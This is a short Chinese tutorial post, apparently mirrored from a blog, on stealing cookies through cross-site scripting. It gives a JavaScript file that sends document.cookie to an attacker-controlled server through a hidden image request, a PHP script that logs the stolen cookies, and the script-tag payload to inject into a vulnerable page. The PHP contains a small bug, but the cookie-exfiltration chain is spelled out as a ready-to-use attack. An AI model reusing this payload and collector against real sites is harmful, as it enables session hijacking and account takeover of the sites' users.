zoukankan      html  css  js  c++  java
  • XSS获取cookie

    在你服务器的html目录下创建joke文件夹;

    在joke文件夹中创建joke.js 和joke.php

    joke.js 创建img标签,将它的src属性指向另一个脚本joke.php,这里关键的一点是:将页面的cookie作为参数附加到url后面

    joke.js代码如下:

    var img = document.createElement('img');
    img.width = 0;
    img.height = 0;
    img.src = 'http://ip/joke/joke.php?joke='+encodeURIComponent(document.cookie);

    joke.php解析请求里面的joke参数(即用户的cookie),然后保存起来

    joke.php代码如下:

    <?php
        @ini_set('display_errors',1);
        $str = $_GET['joke'];
        $filePath = "joke.php";
    
        if(is_writable($filePath)==false){
             echo "can't write";
        }else{
              $handler = fopen(filePath, "a");
              fwrite($handler, $str);
              fclose($handler);
        }
    ?>

    找到XSS漏洞后,输入如下内容:

    <script src="http://ip/joke/joke.js"></script>

    #ip为你的服务器ip

  • 相关阅读:
    SQL实战(四)
    SQL实战(三)
    SQL实战(二)
    数据库SQL实战(一)
    算法(二)——背包问题
    华为机试(五)
    算法(一)
    华为机试练习(四)
    华为往年机试题目(三)
    T分布(T-Distribution)
  • 原文地址:https://www.cnblogs.com/Garvey/p/6081895.html
Copyright © 2011-2022 走看看